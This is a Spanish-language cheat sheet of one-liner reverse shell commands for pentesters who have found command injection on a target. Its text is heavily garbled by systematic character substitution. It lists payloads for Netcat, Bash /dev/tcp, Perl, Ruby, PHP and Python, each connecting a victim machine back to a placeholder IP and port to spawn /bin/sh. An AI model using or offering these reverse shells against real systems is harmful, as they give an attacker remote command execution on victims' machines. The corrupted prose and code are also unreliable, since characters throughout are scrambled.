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OnejLineruReverseuShell
=omandosudeuUnix,LinuxuparauRPentesteruyuR4thicaluHackeruqueuhanuencontradoualgunauformaudeuinyecciónudeucomandosudeluSistemauqcommanduexecutionfí
ListosuparauseruejecutadosuenuunausolaulíneauqonejLiner)uqueudependeránudelulenguajeudeuscriptinguinstaladou,udisponibleuenulauvictimau,uTargetfí

2ash

#uncujvvvujnujlujpuport_number
=omandouparaucapturarulaushelluinversauusandouNetcat

bash$Ci$~F$RdevRtcpRIP_destinoRport_number$A~FM

UniruunuterminaludeluSistemauqbashfuauconexiónuT=PuconulauIPu3estinouenuelupuertou[port_number]

Noj2ash
;lternativasuauutilizarubashjshellA

AwFMD)}exec$MD)w~RdevRtcpRIPRport}$sh$wFMD)$~FMD)$g~FMD)

execuI5>,dev,tcp,IP,portucatu5EIuu|uwhileureadulinezudou#lineuB>EIu>EIzudoneu
or

RecordatorioudescriptoresuUnix,LinuxA
4ntradau4standaruqstdinfu<uáu
Salidau4standaruqstdoutfu<uTu
Salidau4standaruqstderrfu<uB

Perl
perl$Ce$_use$Socket},i:"IP"},p:port}
socketISOP@_IN]TOSO|K_STR]4MOgetprotobynameI"tcp"NN}
ifIconnectISOsockaddr_inI,pOinet_atonI,iNNNN{openIST[INO"~FS"N}
openIST[OUTO"~FS"N}openIST[]RRO"~FS"N}execI"RbinRsh$Ci"N}}}_

ShellureversauutilizandouPerluparauejecutaruunuterminaludeuLinuxu,bin,shumásusencillouqueu,bin,bash

PerlunojSh
ShellureversauutilizandouPerlusinudependerudeu,bin,shA

perl$CMIO$Ce$_,p:fork}exitOifI,pN},c:new$IOUUSocketUUIN]TI
Peer4ddrO"IPUPort"N}ST[INC~fdopenI,cOrN},~C~fdopenI,cOwN}system,_$whilew~}_

Ruby
ruby$Crsocket$Ce_f:T|PSocketKopenI"MAKAKAKM"OMgynNKto_i}
exec$sprintfI"RbinRsh$Ci$wFPd$~FPd$g~FPd"OfOfOfN_

=omandouparauabriruunauShelluq,bin,shfureversauconulauIPAPortuutilizandouRuby

RubyunojSh
ruby$Crsocket$Ce$_exit$if$fork}c:T|PSocketKnewI"IP"O"Port"N}
whileIcmd:cKgetsN}IOKpopenIcmdO"r"N{|io|cKprint$ioKread}end_

ShellureversauconulauIPAPortuutilizandouRubyusinudependerudeu,bin,shA

Php
php$Cr$_,sock:fsockopenI"IP"OPortN}execI"RbinRsh$Ci$wFy$~Fy$g~Fy"N}_

=omandouparauabriruunauShelluq,bin,shfuinversaucontraulauIPAPortuutilizandouPHPí

Siunoufuncionauconueludescriptoru$)uprobaruconuN)I)Duííí

Python
Shelluq,bin,shfureversauutilizandouPython

python$Cc$_import$socketOsubprocessOos}s:socketKsocketIsocketK4@_IN]TO
socketKSO|K_STR]4MN}sKconnectII"IP"OPortNN}osKdupgIsKfilenoINOAN}$
osKdupgIsKfilenoINOMN}osKdupgIsKfilenoINOgN}p:subprocessKcallI["RbinRsh"O"Ci"]N}_
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